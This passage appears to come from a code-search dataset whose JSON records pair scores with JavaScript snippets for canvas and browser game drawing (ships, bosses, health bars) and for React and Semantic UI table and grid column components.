transform.TransformPoint(drawDirection);\n\t\tvar popScreenCoords = Camera.main.WorldToScreenPoint(popWorldCoordsPosition);\n\t\t\n\t\tvar popFrame = Rect(popScreenCoords.x-25,Screen.height-popScreenCoords.y,40,25);\n\t\tGUI.Label(popFrame,\"P: \" + population.ToString(),displayStyle);\n\t\tdrawDirection = rotation*drawDirection;\n\t\t\n\t\t// Draw Might\n\t\tpopWorldCoordsPosition = transform.TransformPoint(drawDirection);\n\t\tpopScreenCoords = Camera.main.WorldToScreenPoint(popWorldCoordsPosition);\n\t\t\n\t\tpopFrame = Rect(popScreenCoords.x-25,Screen.height-popScreenCoords.y,40,25);\n\t\tGUI.Label(popFrame,\"M: \" + might.ToString(),displayStyle);\n\t\tdrawDirection = rotation*drawDirection;\n\t\t\n\t\t// Draw Influence\n\t\tpopWorldCoordsPosition = transform.TransformPoint(drawDirection);\n\t\tpopScreenCoords = Camera.main.WorldToScreenPoint(popWorldCoordsPosition);\n\t\t\n\t\tpopFrame = Rect(popScreenCoords.x-25,Screen.height-popScreenCoords.y,40,25);\n\t\tGUI.Label(popFrame,\"I: \" + influence.ToString(),displayStyle);\n\t\tdrawDirection = rotation*drawDirection;\n\t\t\n\t\t// Draw Happiness\n\t\tpopWorldCoordsPosition = transform.TransformPoint(drawDirection);\n\t\tpopScreenCoords = Camera.main.WorldToScreenPoint(popWorldCoordsPosition);\n\t\t\n\t\tpopFrame = Rect(popScreenCoords.x-25,Screen.height-popScreenCoords.y,40,25);\n\t\tGUI.Label(popFrame,\"H: \" + happiness.ToString(),displayStyle);\n\t\t\n\t\t// draw faith\n\t\t/*var faithWorldCoordsPosition = transform.position + .5*Vector3.up;\n\t\tvar faithScreenCoords = Camera.main.WorldToScreenPoint(faithWorldCoordsPosition);\n\t\t\n\t\tvar faithFrame = Rect(faithScreenCoords.x-20,Screen.height-faithScreenCoords.y,40,25);\n\t\tGUI.Label(faithFrame,\"F: \" + faith.ToString(),displayStyle);\n\t\t\n\t\t// draw population\n\t\tvar popWorldCoordsPosition = transform.position - .5*Vector3.up;\n\t\tvar popScreenCoords = Camera.main.WorldToScreenPoint(popWorldCoordsPosition);\n\t\t\n\t\tvar popFrame = Rect(popScreenCoords.x-25,Screen.height-popScreenCoords.y,40,25);\n\t\tGUI.Label(popFrame,\"Pop: \" + population.ToString(),displayStyle);\n\t\t*/\n\t\t\n\t\t\n\t\t// Draw type\n/*\t\tvar typeWorldCoordsPosition = transform.position;\n\t\tvar typeScreenCoords = Camera.main.WorldToScreenPoint(typeWorldCoordsPosition);\n\t\t\n\t\tvar typeFrame = Rect(typeScreenCoords.x-25,Screen.height-typeScreenCoords.y,40,25);\n\t\tGUI.Label(typeFrame,type,displayStyle); */\n\t}", "title": "" }, { "docid": "a24320992d5c9002bfd7a4baaa5792d1", "score": "0.546925", "text": "function draw () {\n var ctx = document.getElementById('dom-destroyer-canvas').getContext('2d');\n \n // Clear previous location.\n jQuery.each(ship.missiles, function (id, missile) {\n missile.clearPrev(ctx);\n missile.setPrev();\n });\n \n ship.clearPrev(ctx);\n ship.setPrev();\n \n jQuery.each(fragments, function (id, fragment) {\n fragment.clearPrev(ctx);\n fragment.setPrev();\n });\n\n // Redraw.\n jQuery.each(ship.missiles, function (id, missile) {\n missile.draw(ctx); \n });\n\n ship.draw(ctx);\n \n jQuery.each(fragments, function (id, fragment) {\n fragment.draw(ctx);\n });\n \n // Do auto scrolling.\n \n var dx = (ship.x - window.outerWidth / 2);\n var dy = (ship.y - window.outerHeight / 2);\n \n window.scrollBy(dx, dy);\n \n if ($(window).scrollLeft() + ship.x > window.outerWidth / 2 \n && $(window).scrollLeft() + ship.x < $(document).width() - window.outerWidth / 2) {\n ship.x -= dx;\n jQuery.each(fragments, function (id, fragment) {\n fragment.x -= dx;\n });\n \n jQuery.each(ship.missiles, function (id, missile) {\n missile.x -= dx;\n });\n }\n \n if ($(window).scrollTop() + ship.y > window.outerHeight / 2 \n && $(window).scrollTop() + ship.y < $(document).height() - window.outerHeight / 2) {\n ship.y -= dy;\n jQuery.each(fragments, function (id, fragment) {\n fragment.y -= dy;\n });\n \n jQuery.each(ship.missiles, function (id, missile) {\n missile.y -= dy;\n });\n }\n }", "title": "" }, { "docid": "0632b9e2e3a4b54e551cc075b93437e8", "score": "0.54639363", "text": "function Boss(health, bonus, hairballRate)\n{\n\tthis.health = 0;//start health off at 0 so we can 'fill' it up when the boss appears\n\tthis.maxHealth = health;\n\tthis.fillingHealth = true;//if the boss just appeared and we are 'filling' his health\n\t\n\tthis.bonus = bonus;\n\t\n\tthis.height = 200; //height of enemy (won't change)\n\tthis.width = 195; //enemy width (won't change)\n\tthis.x_loc = width + this.width; //enemy x location, starts just off screen\n\tthis.y_loc = 100; //enemy y location could be set randomly, but 100 looks ok!\n\t\n\t//set the min/max y location the boss can travel to\n\tthis.min_y_loc = height - this.height - 10; //minimum y location\n\tthis.max_y_loc = 10; //max y location\n\t\n\t//the min/max x the boss can travel to, he starts being past the max x (off screen) but is forced to move onscreen quickly\n\tthis.min_x_loc = width - this.width*2; //width of screen - boss width*2 -- he can be 3x his width left of edge of screen\n\tthis.max_x_loc = width - this.width; //width of screen - boss width, he can have his right side line up with edge of screen\n \n\t//he starts moving towards the player\n\t//for the boss x_speed > 0 means moving left\n\tthis.x_speed = 50;\n\t\n\t//y_speed > 0 means moving downwards\n\tthis.y_speed = 50; //starting y speed, stores y speed\n\t\n\t\n\tthis.hairballRate = hairballRate;//how often boss should fire -- this is the max time between firings\n\tthis.hairballCountdown = 50 + Math.floor((Math.random()*this.hairballRate)+1);//set how long to wait until firing, could be twice in a row btw\n\t\n\tthis.wasJustHitCounter = 0;//if the boss was just hit, used to make boss flash\n\t\t\n\t//called when boss is hit by bullet\n\tthis.decreaseHealth = function(amt)\n\t{\n\t\tif(this.health > 0)\n\t\t{\n\t\t\tthis.health-=amt;\n\t\t\t\n\t\t\tif(this.health < 0) //if amt was > 1 we may need make this adjustment\n\t\t\t\tthis.health = 0;\n\t\t\t\t\n\t\t\tthis.wasJustHitCounter = 10;\n\t\t}\n\t\tif(this.health == 0)\n\t\t{\n\t\t player.score += this.bonus;\n\t\t player.kills++;\n\t\t player.bossKills++;\n\t\t}\n\t}\n\t\n\t//uses the boss's speed to change their current position\n\t//this is called every frame and does other things that need to happen over time\n\tthis.updatePosition = function()\n\t{\n\t\t//if boss is still getting health bar filled\n\t\tif(this.fillingHealth == true)\n\t\t\tthis.health+=2.5-2*(this.health/this.maxHealth); //this formula makes the health bar fill slower as it nears the end\n\t\t\t//it starts by filling it by 2.5 hp/frame and ends at .5 hp/frame\n\t\t\n\t\tif(this.health >= this.maxHealth)//since we fill health by a number != 1 then we may over shoot the max health, this fixes this and stops filling health\n\t\t{\n\t\t\tthis.fillingHealth = false;\n\t\t\tthis.health = this.maxHealth;\n\t\t}\n\t\t\t\n\t\t//decrement the wasJustHitCounter\n\t\tif(this.wasJustHitCounter > 0)\n\t\t\tthis.wasJustHitCounter--;\n\t\t\t\n\t\t//decrement the hairBallcountdown\n\t\tthis.hairballCountdown--;\n\t\t\n\t\tif(this.hairballCountdown == 0 && this.health > 0)//fire a hairball\n\t\t{\n\t\t\thairballs.push(new Hairball(this.x_loc+1*this.width/4, this.y_loc+1*this.height/2, 12, this.y_speed, 0));//create hairball\n\t\t\t//it's fired at 3/4ths down from the top of the boss, to make it seem like hairball came from it's mouth\n\t\t\t//it matches the bosses y_speed\n\t\t\t//it leaves at an x_speed of 12\n\t\t\t//0 means it won't bounce off the top and bottom of the screen //may change this later so I left the option in\n\t\t\t\n\t\t\tthis.hairballCountdown = Math.floor((Math.random()*this.hairballRate)+1); //reset hairball countdown\n\t\t}\n\t\t\n\t\t//continue the dying sequence by going into negative health\n\t\tif(this.health <= 0)\n\t\t\tthis.health--;\n\t\t\t\n\t\t//make sure the boss isn't outside of the min/max height before changing position\n\t\t//keeps the boss in the 'box' he's supposed to be in\n\t\t//if he's outside the box it's allowed to still move if it's moving towards the box (like how it starts out of his 'box' and moves in)\n\t\tif( (this.y_loc > this.max_y_loc && this.y_speed > 0) || (this.y_loc <= this.min_y_loc && this.y_speed < 0))\n\t\t\tthis.y_loc -= this.y_speed/10; //remember y_loc increasing means going down!\n\t\telse\n\t\t\tthis.y_speed = -this.y_speed;//if it's outside of it's box it changes direction\n \n\t\t//same as above but for the x_loc and x_speed\n\t\t//make sure the enemy isn't outside of the min/max height before changing position\n\t\tif( (this.x_loc >= this.max_x_loc && this.x_speed < 0) || //x_loc is greater than max and it is moving towards min\n\t\t (this.x_loc <= this.min_x_loc && this.x_speed > 0) || //x_loc is less than min and it is going towards max\n\t\t\t (this.x_loc < this.max_x_loc && this.x_loc > this.min_x_loc))\n\t\t\tthis.x_loc += this.x_speed/10; //remember x_loc increasing means going down!\n\t\telse\n\t\t\tthis.x_speed = -this.x_speed;\n\t};\n\t\n\t//boss's main image\n\tthis.image = new Image();\n\tthis.image.src = \"./boss.png\";\n\t\n\t//small explosion\n\tthis.hit1 = new Image();\n\tthis.hit1.src = \"./hit1.png\";\n\t\n\t//bigger explosion\n\tthis.hit2 = new Image();\n\tthis.hit2.src = \"./hit2.png\";\n\t\n\t//drawing function for the boss\n\tthis.draw = function()\n\t{\n\t\tif(this.wasJustHitCounter % 2 == 0 && this.health > 0)//this lets them flash if they were just hit\n\t\t\tcontext.drawImage(this.image, this.x_loc, this.y_loc);\n\t\telse if(this.health <= 0 && this.health > -5)//just died\n\t\t\tcontext.drawImage(this.hit1, this.x_loc, this.y_loc, this.width, this.height);//small explosion\n\t\telse if(this.health <= -5)//died a second ago\n\t\t\tcontext.drawImage(this.hit2, this.x_loc, this.y_loc, this.width, this.height);//big explosion\n\t};\n\t\n}", "title": "" }, { "docid": "bfe105cf8fc3c92c01dfa2396b94ab98", "score": "0.5463881", "text": "exit() {\n // Off the left or right\n if (this.x < 0) {\n this.health = 0;\n } else if (this.x > width) {\n this.health = 0;\n }\n // Off the top or bottom\n if (this.y < 0) {\n this.health = 0;\n } else if (this.y > height) {\n this.health = 0;\n }\n }", "title": "" }, { "docid": "aba897d21951d27c22b9deae8dd048f7", "score": "0.5462868", "text": "draw() {\n // If rectangle is active make it green, else white\n this.active ? fill(0, 255, 0) : fill(255, 255, 255);\n rect(this.x, this.y, this.width, this.height);\n }", "title": "" }, { "docid": "383b0baa3414a78d49d52ebdc487d441", "score": "0.54524606", "text": "Draw()\n\t{\n\t\tif(this.alive === true)\n\t\t{\n\t\t\t//Clear the screen to be redrawn\n\t\t\t//app.ctx.clearRect(this.x, this.y, this.playerWidth, this.playerheight);\n\t\t\t//Drawing image 1\n\t\t\tapp.score.ProgressScore();\n\t\t\tapp.ctx.drawImage(this.sprite,this.rightAnimation,this.direction,this.width/6,this.height/2,this.x,this.y,this.playerWidth,this.playerheight);\n\t\t}\n\t\tapp.ctx.drawImage(this.groundSprite,this.groundX--,this.groundY,this.width,60);\n\t\tapp.ctx.drawImage(this.groundSprite2,this.groundX2--,this.groundY,this.width,60);\n\n\t\tif(this.groundX+this.width<0)\n\t\t{\n\t\t\tthis.groundX = this.width;\n\t\t}\n\t\tif(this.groundX2+this.width<0)\n\t\t{\n\t\t\tthis.groundX2 = this.width;\n\t\t}\n\t}", "title": "" }, { "docid": "1beb4952a884429e47e49e19026b550e", "score": "0.5442297", "text": "function draw() {\n // paints the background first\n background(60);\n // Checks if the snake should die\n snake.death();\n // Updates the position\n snake.update();\n // shows the updated location\n snake.show();\n // If the snakes location is the same as the foods location, then a new food should be generated\n if (snake.eat(food)) {\n pickLocation();\n }\n // fills the snake with a color\n fill(255, 0, 100);\n // draws the snake\n rect(food.x, food.y, scl, scl);\n // reads the volume set by the slider\n crunch.setVolume(volSlider.value());\n}", "title": "" }, { "docid": "3cccae7f288c061a98d1c2fd271b3662", "score": "0.543606", "text": "function drawShip(x, y, a, colour = \"white\") {\n ctx.strokeStyle = colour;\n ctx.lineWidth = SHIP_SIZE / 20;\n ctx.beginPath();\n ctx.moveTo(\n // nose of the ship\n x + (4 / 3) * ship.r * Math.cos(a),\n y - (4 / 3) * ship.r * Math.sin(a)\n );\n ctx.lineTo(\n // rear left\n x - ship.r * ((2 / 3) * Math.cos(a) + Math.sin(a)),\n y + ship.r * ((2 / 3) * Math.sin(a) - Math.cos(a))\n );\n ctx.lineTo(\n // rear right\n x - ship.r * ((2 / 3) * Math.cos(a) - Math.sin(a)),\n y + ship.r * ((2 / 3) * Math.sin(a) + Math.cos(a))\n );\n ctx.closePath();\n ctx.stroke();\n}", "title": "" }, { "docid": "844cd61eaf3decc2fded1b7d0a50f4e2", "score": "0.54335713", "text": "display(){\n if (this.health > 0){ //Alive\n image(qImg[0], this.x, this.y);\n }\n else{ //Dead\n image(qImg[3], this.x, this.y + height/7);\n }\n }", "title": "" }, { "docid": "104b40dba8a8667b111ec783aa73137b", "score": "0.5415948", "text": "function render(){\r\n clear();\r\n drawHeads();\r\n updateHeads();\r\n drawScore();\r\n }", "title": "" }, { "docid": "2dba77a87bc29f7796f14f3074f7215a", "score": "0.5411547", "text": "draw(ctx, interpolationPercentage) {\n if (!this.start.gameRunning) {\n this.start.draw(ctx, interpolationPercentage);\n } else if (!this.gameScreen.allArrived) {\n this.gameScreen.draw(ctx, interpolationPercentage);\n } else {\n this.elementSelection.draw(ctx, interpolationPercentage)\n }\n }", "title": "" }, { "docid": "e7337356da5ee5d101079a4ab15b5d3a", "score": "0.5404892", "text": "draw() {\n this.checkContext();\n this.setRendered();\n\n const tick_context = this.getTickContext();\n const next_context = _tickcontext__WEBPACK_IMPORTED_MODULE_2__[\"TickContext\"].getNextContext(tick_context);\n\n const begin_x = this.getAbsoluteX();\n const end_x = next_context ? next_context.getX() : this.stave.x + this.stave.width;\n const y = this.stave.getYForLine(this.line + (-3)) + 1;\n\n L(\n 'Drawing ',\n this.decrescendo ? 'decrescendo ' : 'crescendo ',\n this.height,\n 'x',\n begin_x - end_x\n );\n\n renderHairpin(this.context, {\n begin_x: begin_x - this.render_options.extend_left,\n end_x: end_x + this.render_options.extend_right,\n y: y + this.render_options.y_shift,\n height: this.height,\n reverse: this.decrescendo,\n });\n }", "title": "" }, { "docid": "2a81d56d967ae521af41c7fdbe380dc5", "score": "0.5401642", "text": "function update_health_bar(){\r\n // user\r\n healthBarCharacter = document.getElementById(\"healthBarCharacter\");\r\n healthBarCharacter.style.width = characterLifes*10 + \"%\";\r\n if(characterLifes >= 8) {\r\n healthBarCharacter.style.background = \"green\";\r\n }\r\n if(characterLifes <= 3) {\r\n healthBarCharacter.style.background = \"red\";\r\n }\r\n if (characterLifes < 8 && characterLifes > 3) {\r\n healthBarCharacter.style.background = \"orange\";\r\n }\r\n healthBarCharacter.innerHTML = Math.round(characterLifes*10) +\"%\";\r\n // first enemy\r\n healthBarEnemy = document.getElementById(\"healthBarEnemy\");\r\n healthBarEnemy.style.width = enemyLifes*10 + \"%\";\r\n if(enemyLifes >= 8) {\r\n healthBarEnemy.style.background = \"green\";\r\n }\r\n if(enemyLifes <= 3) {\r\n healthBarEnemy.style.background = \"red\";\r\n }\r\n if (enemyLifes < 8 && enemyLifes > 3) {\r\n healthBarEnemy.style.background = \"orange\";\r\n }\r\n healthBarEnemy.innerHTML = Math.round(enemyLifes*10) +\"%\";\r\n // second enemy\r\n healthBarEnemy2 = document.getElementById(\"healthBarEnemy2\");\r\n healthBarEnemy2.style.width = enemyLifes2*10 + \"%\";\r\n if(enemyLifes2 >= 8) {\r\n healthBarEnemy2.style.background = \"green\";\r\n }\r\n if(enemyLifes2 <= 3) {\r\n healthBarEnemy2.style.background = \"red\";\r\n }\r\n if (enemyLifes2 < 8 && enemyLifes2 > 3) {\r\n healthBarEnemy2.style.background = \"orange\";\r\n }\r\n healthBarEnemy2.innerHTML = Math.round(enemyLifes2*10) +\"%\";\r\n }", "title": "" }, { "docid": "3c34fe48a0fd3aecd5465755d0a4f153", "score": "0.53998345", "text": "function gameOver() {\n ship.dead = true;\n text = \"Game Over\";\n textAlpha = 1.0;\n}", "title": "" }, { "docid": "3c1f04fce4eaccee307e93ee5d9a767e", "score": "0.53992295", "text": "function heal(healAmount) {\n currentHealth += healAmount;\n}", "title": "" }, { "docid": "1285ec2f6a10bf860877e079c09716bb", "score": "0.5396867", "text": "drawPhase() {\n this.drawPhaseCards = this.honorBid;\n this.game.addMessage('{0} draws {1} cards for the draw phase', this, this.drawPhaseCards);\n this.drawCardsToHand(this.drawPhaseCards);\n }", "title": "" }, { "docid": "6b40fae1a4c561f51a003647550927d5", "score": "0.5389106", "text": "function drawShip(x, y, a, colour = \"magenta\") {\n context.strokeStyle = colour;\n context.lineWidth = shipSize / 20;\n context.beginPath();\n context.moveTo( // nose of the ship\n x + 4 / 3 * ship.r * Math.cos(a),\n y - 4 / 3 * ship.r * Math.sin(a)\n );\n context.lineTo( // rear left\n x - ship.r * (2 / 3 * Math.cos(a) + Math.sin(a)),\n y + ship.r * (2 / 3 * Math.sin(a) - Math.cos(a))\n );\n context.lineTo( // rear right\n x - ship.r * (2 / 3 * Math.cos(a) - Math.sin(a)),\n y + ship.r * (2 / 3 * Math.sin(a) + Math.cos(a))\n );\n context.closePath();\n context.stroke();\n}", "title": "" }, { "docid": "73d897feb76b32ad82390b439d1065e7", "score": "0.53878206", "text": "draw() {\n push();\n this.onDraw();\n pop();\n }", "title": "" }, { "docid": "8ff2cfc5cd5179b5a1dc5d81ed6d22c1", "score": "0.5387643", "text": "function updateHealth() {\n // Reduce player health\n playerHealth = playerHealth - 0.5;\n //lose health faster when sprinting\n if (keyIsDown(SHIFT)) {\n playerHealth = playerHealth - 0.8;\n }\n // Constrain the result to a sensible range\n playerHealth = constrain(playerHealth, 0, playerMaxHealth);\n\n // Check if the player is dead (0 health)\n if (playerHealth === 0) {\n // If so, the game is over\n gameOver = true;\n }\n}", "title": "" }, { "docid": "e4dcc4ed6fbd355ac0fe95ed79b9be88", "score": "0.5385573", "text": "function draw() {\n // I chose to keep the background the same color because I like the color scheme it has with the red spider and yellow butterfly\n background(100,100,200);\n\n if (!gameOver) {\n handleInput();\n\n userInterface();\n\n movePlayer();\n movePrey();\n\n updateHealth();\n checkEating();\n\n drawWeb();\n\n drawPrey();\n drawPlayer();\n }\n else {\n showGameOver();\n }\n}", "title": "" }, { "docid": "252bdf675d3f47668ce82444740d4086", "score": "0.5381995", "text": "heal(){\n //Keep background:\n background(backgroundImg);\n whisper.display();\n hatch.display();\n quill.display();\n ace.display();\n boss.display();\n\n //Prepare magic healing bubbles:\n if (this.attackPhase === 1){\n image(iImg[2], this.x, this.y);\n if (frameCount - startAttack > 60){\n this.attackPhase = 2;\n }\n return false;\n }\n //Heal ally of choice:\n if (this.attackPhase === 2){\n image(iImg[2], this.x, this.y);\n fill(0, 255, 255);\n if (iChoice === 3){ //Whisper\n text(\"+\" + this.sHeal, width/5, height/6.5);\n }\n if (iChoice === 4){ //Quill\n text(\"+\" + this.sHeal, width/25, height/4);\n }\n if (iChoice === 5){ //Hatch\n text(\"+\" + this.sHeal, hatch.getLocation(1), hatch.getLocation(2));\n }\n if (iChoice === 6){ //Self\n text(\"+\" + this.sHeal, width/25, height/2);\n }\n if (iChoice === 7){ //Ace\n text(\"+\" + this.sHeal, width/5, height/1.6);\n }\n }\n if (frameCount - startAttack > 160){\n this.attackPhase = 1;\n return true;\n }\n }", "title": "" }, { "docid": "fc81c25fbdddc33a1da63783153d1252", "score": "0.53799635", "text": "death() {\n this.x = 200;\n this.y = 380;\n stats.lives = stats.lives - 1;\n\n if (stats.lives === 0) {\n stats.endGame(\"gameover\");\n }\n }", "title": "" } ]
8c1da031d5079b9f8cd7e18dd026fff5
istanbul ignore next This is a syntactic sugar for `columns` prop. So HOC will not work on this. eslintdisablenextline nounusedvars
[ { "docid": "18b051911ccc23693a4533cd88bd3caa", "score": "0.5712325", "text": "function Column(_) {\n return null;\n}", "title": "" } ]
[ { "docid": "142a7e158a433827aa49f8eb1701058c", "score": "0.70001507", "text": "prepareColumns() {\n return [\n {\n Header: \"Process\",\n accessor: \"process\",\n filterable: true,\n filterMethod: (filter, rows) =>\n matchSorter(rows, filter.value, {keys: [\"process.props.children\"]}),\n filterAll: true\n },\n {\n Header: \"sample\",\n accessor: \"sample\",\n minWidth: 90\n },\n {\n Header: \"Work dir\",\n accessor: \"workdir\",\n minWidth: 90,\n className: styles.tableCell\n },\n {\n Header: \"Time start\",\n accessor: \"start\",\n minWidth: 90,\n className: styles.tableCell\n },\n {\n Header: \"Log\",\n accessor: \"log\",\n minWidth: 100,\n width: 100,\n className: styles.tableCell\n }\n ]\n }", "title": "" }, { "docid": "f53171b282c028f91378761c7736f138", "score": "0.6616406", "text": "function Column() {\n var _this;\n\n _classCallCheck(this, Column);\n\n _this = _possibleConstructorReturn(this, _getPrototypeOf(Column).call(this)); // Add shadow root and slot for user markup...\n\n _defineProperty(_assertThisInitialized(_this), \"_cols_\", null);\n\n _defineProperty(_assertThisInitialized(_this), \"_style\", null);\n\n _defineProperty(_assertThisInitialized(_this), \"_breakpoint\", 0);\n\n _defineProperty(_assertThisInitialized(_this), \"_screenWidth\", null);\n\n var shadowRoot = _this.shadowCaster(); // Attach styles to shadowRoot....\n\n\n _this._style = _this.addStyles(shadowRoot, columnStyles); /// Register the component's prop object...\n\n _this.registerProps(columnProps);\n\n return _this;\n } // A privat Boolean instance prop, reflecting whether or not a _screenWidth breakpoint has been surpassed...", "title": "" }, { "docid": "e452b6bfd6e263912f7ca19c4792e453", "score": "0.6518103", "text": "columns() {\n /* return all column accessors as an array, in offset order */\n return [...this.__columnsAccessor];\n }", "title": "" }, { "docid": "95cecd432b59eacaf41e571de672fc05", "score": "0.6511679", "text": "get columns() {\n return this._columns;\n }", "title": "" }, { "docid": "72b9662894907c46c4c43961fe04a6dc", "score": "0.63856316", "text": "getMonitoringColumns() {\n return [\n {\n title: (<Typography variant=\"body2\">Depósito de relaves</Typography>),\n field: 'deposito',\n render: data => this.getNameCell(data),\n customSort: (data1, data2) => Sorting.getNameSortNumber(data1, data2),\n cellStyle: {width: '25%', paddingLeft: '23px'},\n customFilterAndSearch: (event, data) => this.isSearched(data, event),\n searchable: true,\n headerStyle: {paddingLeft: '23px'}\n },\n {\n title: (<Typography variant=\"body2\">Monitoreo de Índices</Typography>),\n field: 'publicWorstIndex',\n render: data => (<IndexStatusIcon status={data.publicWorstIndex} size=\"default\"/>),\n customSort: (data1, data2) => Sorting.getSortNumber(data2, data1, 'publicWorstIndex'),\n searchable: false\n }\n ];\n }", "title": "" }, { "docid": "366b42c6be45c0143de35230dc3b38cf", "score": "0.6343061", "text": "initializeColumns() {\n // const numColumns = this.get('realNumColumns');\n }", "title": "" }, { "docid": "1988468a3e5f5f6d8aa26b71a7d39c3e", "score": "0.6276589", "text": "render() {\n const { movies, sortColumn, onSort } = this.props;\n\n return (\n <Table\n columns={this.columns}\n data={movies}\n sortColumn={sortColumn}\n onSort={onSort}\n />\n );\n }", "title": "" }, { "docid": "98d9ca24f9c1258314e03a92790f0869", "score": "0.6233543", "text": "function GridColumn(props) {\n var children = props.children,\n className = props.className,\n computer = props.computer,\n color = props.color,\n floated = props.floated,\n largeScreen = props.largeScreen,\n mobile = props.mobile,\n only = props.only,\n stretched = props.stretched,\n tablet = props.tablet,\n textAlign = props.textAlign,\n verticalAlign = props.verticalAlign,\n widescreen = props.widescreen,\n width = props.width;\n var classes = __WEBPACK_IMPORTED_MODULE_1_classnames___default()(color, Object(__WEBPACK_IMPORTED_MODULE_4__lib__[\"A\" /* useKeyOnly */])(stretched, 'stretched'), Object(__WEBPACK_IMPORTED_MODULE_4__lib__[\"C\" /* useMultipleProp */])(only, 'only'), Object(__WEBPACK_IMPORTED_MODULE_4__lib__[\"D\" /* useTextAlignProp */])(textAlign), Object(__WEBPACK_IMPORTED_MODULE_4__lib__[\"E\" /* useValueAndKey */])(floated, 'floated'), Object(__WEBPACK_IMPORTED_MODULE_4__lib__[\"F\" /* useVerticalAlignProp */])(verticalAlign), Object(__WEBPACK_IMPORTED_MODULE_4__lib__[\"G\" /* useWidthProp */])(computer, 'wide computer'), Object(__WEBPACK_IMPORTED_MODULE_4__lib__[\"G\" /* useWidthProp */])(largeScreen, 'wide large screen'), Object(__WEBPACK_IMPORTED_MODULE_4__lib__[\"G\" /* useWidthProp */])(mobile, 'wide mobile'), Object(__WEBPACK_IMPORTED_MODULE_4__lib__[\"G\" /* useWidthProp */])(tablet, 'wide tablet'), Object(__WEBPACK_IMPORTED_MODULE_4__lib__[\"G\" /* useWidthProp */])(widescreen, 'wide widescreen'), Object(__WEBPACK_IMPORTED_MODULE_4__lib__[\"G\" /* useWidthProp */])(width, 'wide'), 'column', className);\n var rest = Object(__WEBPACK_IMPORTED_MODULE_4__lib__[\"r\" /* getUnhandledProps */])(GridColumn, props);\n var ElementType = Object(__WEBPACK_IMPORTED_MODULE_4__lib__[\"q\" /* getElementType */])(GridColumn, props);\n return __WEBPACK_IMPORTED_MODULE_3_react___default.a.createElement(ElementType, __WEBPACK_IMPORTED_MODULE_0__babel_runtime_helpers_extends___default()({}, rest, {\n className: classes\n }), children);\n}", "title": "" }, { "docid": "97d1f2aac924b2a0da058fe6a0a71f01", "score": "0.6228341", "text": "prepareColumns() {\n return this.columns.map(column => {\n const columnKey = column.caption.split(\" \").join(\"_\");\n return {\n template: \"page\" === column.cellType ? \"<div class='mx-formcell #: classname #' data-mxid='#: mxid #' data-mxform='\" + column.form + \"'></div>\" : \"<div data-mxid='#: mxid #' class='#: classname #'>#: \" + columnKey + \" #</div>\",\n field: column.caption.split(\" \").join(\"_\"),\n title: column.caption,\n aggregates: [\"average\", \"sum\", \"max\", \"min\", \"count\"],\n groupHeaderTemplate: column.headerTemplate,\n filterable: column.filterMulti ? {\n multi: true,\n } : undefined,\n };\n });\n }", "title": "" }, { "docid": "4963125b1e921d87692d90173e0a4f79", "score": "0.6228055", "text": "get columns() {\n return [\n {\n name: 'No.',\n valuePath: 'No',\n width: 50,\n isFixed: 'left'\n },\n {\n name: 'Nombre Institución',\n valuePath: 'Nombre Institución',\n isFixed: 'left'\n },\n {\n name: 'Licencia Abierta',\n valuePath: 'Licencia Abierta'\n },\n {\n name: 'Formato abierto y legible por máquina',\n valuePath: 'Formato abierto y legible por máquina'\n },\n {\n name: 'Disponible en una sola descarga',\n valuePath: 'Disponible en una sola descarga'\n },\n {\n name: 'Datos actualizados',\n valuePath: 'Datos actualizados'\n },\n {\n name: 'Disponible públicamente',\n valuePath: 'Disponible públicamente'\n },\n {\n name: 'Disponible sin cargo',\n valuePath: 'Disponible sin cargo'\n },\n {\n name: 'Puntaje',\n valuePath: 'Puntaje'\n }\n ];\n }", "title": "" }, { "docid": "734fb9779e4cbd702f302aebac0d6209", "score": "0.6224992", "text": "function GridColumn(props) {\n var children = props.children,\n className = props.className,\n computer = props.computer,\n color = props.color,\n floated = props.floated,\n largeScreen = props.largeScreen,\n mobile = props.mobile,\n only = props.only,\n stretched = props.stretched,\n tablet = props.tablet,\n textAlign = props.textAlign,\n verticalAlign = props.verticalAlign,\n widescreen = props.widescreen,\n width = props.width;\n var classes = classnames__WEBPACK_IMPORTED_MODULE_1___default()(color, Object(_lib__WEBPACK_IMPORTED_MODULE_4__[\"useKeyOnly\"])(stretched, 'stretched'), Object(_lib__WEBPACK_IMPORTED_MODULE_4__[\"useMultipleProp\"])(only, 'only'), Object(_lib__WEBPACK_IMPORTED_MODULE_4__[\"useTextAlignProp\"])(textAlign), Object(_lib__WEBPACK_IMPORTED_MODULE_4__[\"useValueAndKey\"])(floated, 'floated'), Object(_lib__WEBPACK_IMPORTED_MODULE_4__[\"useVerticalAlignProp\"])(verticalAlign), Object(_lib__WEBPACK_IMPORTED_MODULE_4__[\"useWidthProp\"])(computer, 'wide computer'), Object(_lib__WEBPACK_IMPORTED_MODULE_4__[\"useWidthProp\"])(largeScreen, 'wide large screen'), Object(_lib__WEBPACK_IMPORTED_MODULE_4__[\"useWidthProp\"])(mobile, 'wide mobile'), Object(_lib__WEBPACK_IMPORTED_MODULE_4__[\"useWidthProp\"])(tablet, 'wide tablet'), Object(_lib__WEBPACK_IMPORTED_MODULE_4__[\"useWidthProp\"])(widescreen, 'wide widescreen'), Object(_lib__WEBPACK_IMPORTED_MODULE_4__[\"useWidthProp\"])(width, 'wide'), 'column', className);\n var rest = Object(_lib__WEBPACK_IMPORTED_MODULE_4__[\"getUnhandledProps\"])(GridColumn, props);\n var ElementType = Object(_lib__WEBPACK_IMPORTED_MODULE_4__[\"getElementType\"])(GridColumn, props);\n return react__WEBPACK_IMPORTED_MODULE_3___default.a.createElement(ElementType, _babel_runtime_helpers_extends__WEBPACK_IMPORTED_MODULE_0___default()({}, rest, {\n className: classes\n }), children);\n}", "title": "" }, { "docid": "734fb9779e4cbd702f302aebac0d6209", "score": "0.6224992", "text": "function GridColumn(props) {\n var children = props.children,\n className = props.className,\n computer = props.computer,\n color = props.color,\n floated = props.floated,\n largeScreen = props.largeScreen,\n mobile = props.mobile,\n only = props.only,\n stretched = props.stretched,\n tablet = props.tablet,\n textAlign = props.textAlign,\n verticalAlign = props.verticalAlign,\n widescreen = props.widescreen,\n width = props.width;\n var classes = classnames__WEBPACK_IMPORTED_MODULE_1___default()(color, Object(_lib__WEBPACK_IMPORTED_MODULE_4__[\"useKeyOnly\"])(stretched, 'stretched'), Object(_lib__WEBPACK_IMPORTED_MODULE_4__[\"useMultipleProp\"])(only, 'only'), Object(_lib__WEBPACK_IMPORTED_MODULE_4__[\"useTextAlignProp\"])(textAlign), Object(_lib__WEBPACK_IMPORTED_MODULE_4__[\"useValueAndKey\"])(floated, 'floated'), 